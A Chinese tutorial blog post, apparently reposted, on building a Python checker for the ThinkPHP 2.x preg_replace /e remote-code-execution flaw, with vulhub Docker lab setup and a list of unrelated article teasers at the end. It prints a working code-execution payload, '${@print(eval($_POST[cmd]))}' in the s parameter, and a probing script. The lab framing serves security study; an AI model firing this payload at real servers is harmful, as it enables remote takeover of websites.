Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞（六十三）

Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞（六十三）

PHP代码审计简介

PHP代码审计是指对PHP程序进行安全审计，以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言，广泛用于开发网站和Web应用程序。由于其开源性质和易于学习的特点，许多开发人员使用PHP来构建他们的网站和应用。

然而，不可否认的是，PHP应用程序也存在着安全风险。由于PHP的灵活性和易用性，开发人员可能会犯一些常见的安全错误，如注入攻击、跨站脚本攻击（XSS）、跨站请求伪造（CSRF）等。

PHP代码审计的目的是识别和修复这些安全漏洞，以确保应用程序的安全性。通过审计代码，可以发现潜在的漏洞，如未经验证的用户输入、不正确的权限控制、不安全的数据库查询等。

在进行PHP代码审计时，审计人员通常会使用一些工具和技术来辅助他们的工作。这包括静态代码分析工具、动态代码分析工具、漏洞扫描器等。此外，审计人员还需要具备一定的安全知识和编程经验，以便能够理解和分析代码中的潜在漏洞。

总之，PHP代码审计是一项重要的安全工作，可以帮助开发人员识别和修复潜在的安全漏洞，以保护应用程序和用户的数据安全。

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装

安装 docker

#更新软件
apt-get update
#安装CA证书
apt-get install -y apt-transport-https ca-certificates
#安装docker
apt install docker.io
#查看docker是否安装成功
docker -v
#启动docker
systemctl start docker
#显示docker信息
docker ps -a

在这里插入图片描述

在这里插入图片描述
如上图所示，我们已经成功安装好了docker

安装pip和docker-compose

#安装pip
apt-get install python3-pip
#安装docker-compose
apt install docker-compose
#查看版本，是否安装成功
docker-compose -v

在这里插入图片描述

在这里插入图片描述

如上图所示，我们已经成功安装好了pip和docker-compose

安装vnlhub

#安装vnlhub
git clone https://github.com/vulhub/vulhub.git

在这里插入图片描述

将docker换成国内源

#更改源
vim /etc/docker/daemon.json
#加入以下内容
{"registry-mirrors": ["https://dockerproxy.com","https://hub-mirror.c.163.com","https://mirror.baidubce.com","https://ccr.ccs.tencentyun.com"]
}#重启docker
systemctl restart docker
#查看信息，出现图中配置的信息即为成功
docker info

在这里插入图片描述

使用vulhub靶场

进入你想试验靶场的位置，cd vulhub/目录名，可以用ls查看漏洞靶场

在这里插入图片描述

比如我们想进入 ThinkPHP漏洞环境，可以 cd ThinkPHP，然后通过 ls 查看可以搭建的靶场，目前 vulhub关于 ThinkPHP漏洞 可以搭建的靶场有五个

在这里插入图片描述
我们拿 2-rce 漏洞举例，如果我们想要安装 2-rce 漏洞环境，可以 cd 到 2-rce ，然后输入以下命令启动靶场环境：

docker-compose up -d

输入以下的命令可以查看当前启动的靶场环境

docker-compose ps

若不需要使用该靶场的时候，可以输入以下的命令移除环境：

docker-compose down

最后我们输入http://localhost:8080 就能访问该靶场环境

在这里插入图片描述

ThinkPHP 2.x 任意代码执行漏洞原理

ThinkPHP是一个开源的PHP开发框架，该框架存在代码执行漏洞，漏洞产生的原因是因为ThinkPHP在处理URL参数时，没有对参数进行充分的过滤和验证，导致攻击者可以构造恶意的URL参数，从而执行任意代码。

具体原理如下：

  1. 攻击者构造恶意的URL参数，例如在GET请求的参数中添加PHP代码。

  2. ThinkPHP框架对URL参数进行处理时，会通过parseRequest方法解析URL，获取控制器和操作方法等信息。

  3. 在解析URL参数时，框架会使用eval函数将参数中的代码进行执行，从而实现代码执行的功能。

  4. 攻击者构造的恶意URL参数中的代码会被eval函数执行，从而导致任意代码执行漏洞的产生。

在ThinkPHP 2.x 版本里面 preg_relace的/e来匹配这个路由，导致用户输入参数被插入了双引号中，造成了任意代码执行。其POC如下所示：/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}

现在，我们构造如下的URLhttp://localhost:8080/?s=/Index/index/xxx/${var_dump(md5(123))},将会爆出如下的那么一串数字，这一步就是我们用python写检测ThinkPHP 2.x 任意代码执行漏洞的POC的关键。

在这里插入图片描述

这里爆出的数字是由MD5经过32位[小]加密的数字123

在这里插入图片描述

ThinkPHP 2.x 任意代码执行漏洞复现POC

接下来我们拥python写检测ThinkPHP 2.x 任意代码执行漏洞的POC，代码内容如下：

#!/usr/bin/env pythonimport requests
from urllib.parse import urljoin
from bs4 import BeautifulSoupdef thinkphp2_rce(url):payload = '?s=/index/index/xxx/${var_dump(md5(handsomewuyue))}'url = urljoin(url, payload)response = requests.get(url=url)
# 这里的31664625b85cc0cf91406a4e028ede29是由handsomewuyue字符经过32位[小]MD5加密得到的数字，用户可根据自己在实际过程中构造的POC进行自定义更改if '31664625b85cc0cf91406a4e028ede29' in response.text:print("漏洞存在")else:print("漏洞不存在")   if __name__ == '__main__':url = 'http://localhost:8080/'thinkphp2_rce(url)

注意：判断漏洞是否存在的MD5加密数据是根据我们所构造的POC中所发送的字符绝定的，这里的31664625b85cc0cf91406a4e028ede29是由我们所构造的payload'?s=/index/index/xxx/${var_dump(md5(handsomewuyue))}'中的handsomewuyue字符经过32位[小]MD5加密得到的数字，用户可根据自己在实际过程中构造的POC进行自定义更改

在这里插入图片描述

POC代码详细分析

这段代码是一个用于检测ThinkPHP 2.x版本存在远程命令执行（Remote Code Execution）漏洞的脚本。下面是代码的分析：

  1. 导入所需的库：

  • requests: 用于向服务器发送HTTP请求和接收响应。

  • urljoin: 用于将相对URL转换为绝对URL。

  • BeautifulSoup: 用于解析HTML响应。

    1. 定义一个名为thinkphp2_rce的函数，该函数接收一个url参数。

  1. 在函数内部，定义一个payload字符串，其中包含一个特定的URL路径（?s=/index/index/xxx/${var_dump(md5(handsome xuanyue))}）。这个payload是用来构造恶意请求的。

  2. 使用urljoin函数将payload与传入的URL拼接在一起，得到最终的URL。

  3. 使用requests库发送GET请求，将最终的URL作为请求目标。

  4. 如果响应文本中包含特定的MD5哈希值（31664625b85cc0cf91406a4e028ede29），则打印"漏洞存在"；否则，打印"漏洞不存在"。

在if __name__ == '__main__':部分，定义了一个默认的URL变量（url = 'http://localhost:8080/'），然后调用thinkphp2_rce函数，并传递这个URL作为参数。这是为了在直接运行脚本时进行测试，可以根据实际情况修改URL。

运行效果图

如下是我们这串代码的实际运行效果图：

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/bicheng/32119.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

探索Linux的奇妙世界:第二关---Linux的基本指令1

探索Linux的奇妙世界:第二关---Linux的基本指令1

1. xshell与服务器的连接 想必大家在看过上一期视频时已经搭建好了Linux的环境了并且已经下好了终端---xshell了吧?让我来带大家看一看下好了是什么样子的: 第一次登陆会让你连接你的服务器,就是我们买的云服务器,买完之后需要把公网地址ip复制过来进行链接,需要用户名和密码连…
阅读更多...
React hydrateRoot如何实现

React hydrateRoot如何实现

React 服务器渲染中，hydrateRoot 是核心，它将服务器段的渲染与客户端的交互绑定在一起，我们知道 React 中 Fiber Tree 是渲染的的核心，那么 React 是怎么实现 hydrateRoot 的呢？首先我们验证一下，hydrateRo…
阅读更多...
Python基础教程（三十）：math模块

Python基础教程（三十）：math模块

💝💝💝首先，欢迎各位来到我的博客，很高兴能够在这里和您见面！希望您在这里不仅可以有所收获，同时也能感受到一份轻松欢乐的氛围，祝你生活愉快！ 💝&#x1f49…
阅读更多...
基于vue3 + ant-design 使用阿里图标库iconfont.cn

基于vue3 + ant-design 使用阿里图标库iconfont.cn

对于使用 iconfont.cn 的用户&#xff0c;通过设置 createFromIconfontCN 方法参数对象中的 scriptUrl 字段&#xff0c; 即可轻松地使用已有项目中的图标。 组件封装 IconFont <template><IconFont :type"iconType" /> </template><script se…
阅读更多...
Web应用和Tomcat的集成鉴权1-BasicAuthentication

Web应用和Tomcat的集成鉴权1-BasicAuthentication

作者:私语茶馆 1.Web应用与Tomcat的集成式鉴权 Web应用部署在Tomcat时，一般有三层鉴权： （1）操作系统鉴权 （2）Tomcat容器层鉴权 （3）应用层鉴权 操作系统层鉴权包括但不限于：Tomcat可以和Windows的域鉴权集成，这个适合企业级的统一管理。也可以在Tomcat和应用层独立…
阅读更多...
湖南（市场调研）源点咨询 新产品上市前市场机会调研与研究分析

湖南（市场调研）源点咨询 新产品上市前市场机会调研与研究分析

湖南源点调研认为&#xff1a;无论是创业公司&#xff0c;还是在公司内部探索新的项目或者新的产品线等&#xff0c;首先都要做“市场机会分析与调研“&#xff0c;要真正思考并解答以下疑问&#xff1a; 我们的目标客户群体是谁&#xff0c;他们如何决策&#xff1f; 我们所…
阅读更多...
windows下mysql修改 my.ini的datadir后 `Access denied`

windows下mysql修改 my.ini的datadir后 `Access denied`

1. 背景 window安装mysql数据库时&#xff0c;不能指定数据文件存放位置&#xff08;默认安装路径 "C:/ProgramData"&#xff09;。 只能通过修改mysql.ini来更改数据文件存放目录。 2. 问题&#xff1a; 修改mysql.ini后&#xff0c;mysql 出现 "Access den…
阅读更多...
Python爬虫学习 | Scrapy框架详解

Python爬虫学习 | Scrapy框架详解

一.Scrapy框架简介 何为框架&#xff0c;就相当于一个封装了很多功能的结构体&#xff0c;它帮我们把主要的结构给搭建好了&#xff0c;我们只需往骨架里添加内容就行。scrapy框架是一个为了爬取网站数据&#xff0c;提取数据的框架&#xff0c;我们熟知爬虫总共有四大部分&am…
阅读更多...
【Java】已解决java.lang.NoSuchMethodException异常

【Java】已解决java.lang.NoSuchMethodException异常

文章目录 一、分析问题背景二、可能出错的原因三、错误代码示例四、正确代码示例五、注意事项 已解决java.lang.NoSuchMethodException异常 在Java编程中&#xff0c;java.lang.NoSuchMethodException是一个常见的运行时异常&#xff0c;它通常表示尝试通过反射调用一个不存在…
阅读更多...
耳夹式佩戴的舒适体验，拥有AI功能的生活助手，塞那Z50耳夹耳机上手

耳夹式佩戴的舒适体验，拥有AI功能的生活助手，塞那Z50耳夹耳机上手

在数码产品层出不穷的今天&#xff0c;一款能够脱颖而出的耳机&#xff0c;不仅要有出色的音质&#xff0c;更要有人性化的设计和独特的功能。最近我就发现了这么一款很有趣的耳机&#xff0c;它是来自sanag塞那Z50耳夹耳机&#xff0c;这款耳机有着新颖的佩戴方式和动听的音质…
阅读更多...
「动态规划」如何求子数组中等差数列的个数？

「动态规划」如何求子数组中等差数列的个数？

413. 等差数列划分https://leetcode.cn/problems/arithmetic-slices/description/ 如果一个数列至少有三个元素&#xff0c;并且任意两个相邻元素之差相同&#xff0c;则称该数列为等差数列。例如&#xff0c;[1,3,5,7,9]、[7,7,7,7]和[3,-1,-5,-9]都是等差数列。给你一个整数…
阅读更多...
win10环境配置ollama-ui运行llama3模型

win10环境配置ollama-ui运行llama3模型

先说我的笔记本电脑配置intel-i7-11390h,4核8处理器&#xff0c;内存16G。显卡NVIDA GeFroce MX450&#xff0c;2G显存&#xff0c;这是一台5000元左右的电脑。 我用它跑roop、sd1.5、ffusion2、ChatTTs还有pythonpytorch的自定义模型&#xff0c;现在用来跑llama3。当然&…
阅读更多...
Redis-数据类型-Bit的基本操作-getbit-setbit-Bitmap

Redis-数据类型-Bit的基本操作-getbit-setbit-Bitmap

文章目录 0、Bitmaps&#xff08;位图&#xff09;1、查看redis是否启动2、通过客户端连接redis3、切换到db7数据库4、设置&#xff08;或覆盖&#xff09;一个键&#xff08;key&#xff09;的值&#xff08;value&#xff09;5、获取存储在给定键&#xff08;key&#xff09;…
阅读更多...
32.基于分隔符解决黏包和半包

32.基于分隔符解决黏包和半包

LineBasedFrameDecoder 基于换行/n （linux）或回车换行/r/n(windows)进行分割。 使用LIneBasedFrameDecoder构造方法，需要设定一个最大长度。 如果超过了最大长度，还是没有找到换行符，就这位这个数据段太长了，抛出ToolLongFrameException DelimiterBasedFrameDecoder …
阅读更多...
YOLOv8白皮书-第Y7周：训练自己的数据集

YOLOv8白皮书-第Y7周：训练自己的数据集

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 一、环境 语言&#xff1a;Python3、Pytorch开发环境电脑系统&#xff1a;Windows 10语言环境&#xff1a;Python 3.9.2编译器&#xff1a;VS Code显卡&#…
阅读更多...
上交商汤联合提出一种虚拟试穿的创新方法，利用自监督视觉变换器 (ViT) 和扩散模型

上交商汤联合提出一种虚拟试穿的创新方法，利用自监督视觉变换器 (ViT) 和扩散模型

上交&商汤联合提出一种虚拟试穿的创新方法&#xff0c;利用自监督视觉变换器 (ViT) 和扩散模型&#xff0c;强调细节增强&#xff0c;通过将 ViT 生成的局部服装图像嵌入与其全局对应物进行对比。虚拟试穿体验中细节的真实感和精确度有了显着提高&#xff0c;大大超越了现有…
阅读更多...
Honeyview图片查看：从未如此流畅

Honeyview图片查看：从未如此流畅

名人说&#xff1a;一点浩然气&#xff0c;千里快哉风。 ——苏轼 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 一、软件介绍1、Honeyview2、核心特点 二、下载安装1、下载2、安装 三、使用方法1、图片打开2、自…
阅读更多...
FP7195做大功率钓鱼灯应用方案，0.1%深度无极无频闪调光调色应用，调光曲线顺滑无突兀

FP7195做大功率钓鱼灯应用方案，0.1%深度无极无频闪调光调色应用，调光曲线顺滑无突兀

文章目录 文章目录 方案背景 一、夜钓灯电路框架 二、FP7195芯片介绍 芯片参数 总结 方案背景 目前夜钓正在逐渐变得时尚起来&#xff0c;随着夜钓群体的年轻化&#xff0c;人们对于夜钓灯的审美要求也越来越高。夜钓灯作为夜间钓鱼的重点装备&#xff0c;不仅仅需要高质量的光…
阅读更多...
RIP路由协议汇总、版本兼容、定时器、协议优先级配置（华为）

RIP路由协议汇总、版本兼容、定时器、协议优先级配置（华为）

#交换设备 RIP路由协议汇总 一、原理概述 当网络中路由器的路由条目非常多时&#xff0c;可以通过路由汇总&#xff08;又称路由汇聚或路由聚合&#xff09;来减少路由条目数&#xff0c;加快路由收敛时间和增强网络稳定性。路由汇总的原理是&#xff0c;同一个自然网段内的…
阅读更多...
AI音乐模型：创新还是颠覆？

AI音乐模型：创新还是颠覆？

文章目录 AI音乐大模型的崛起音乐创作门槛的降低与兴奋AI音乐作品的版权归属问题创意产业在AI阴影下的生长结语 &#x1f389;欢迎来到AIGC人工智能专栏~探索Java中的静态变量与实例变量 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒&#x1f379;✨博客主页&#xff1a;IT陈寒的博客&…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023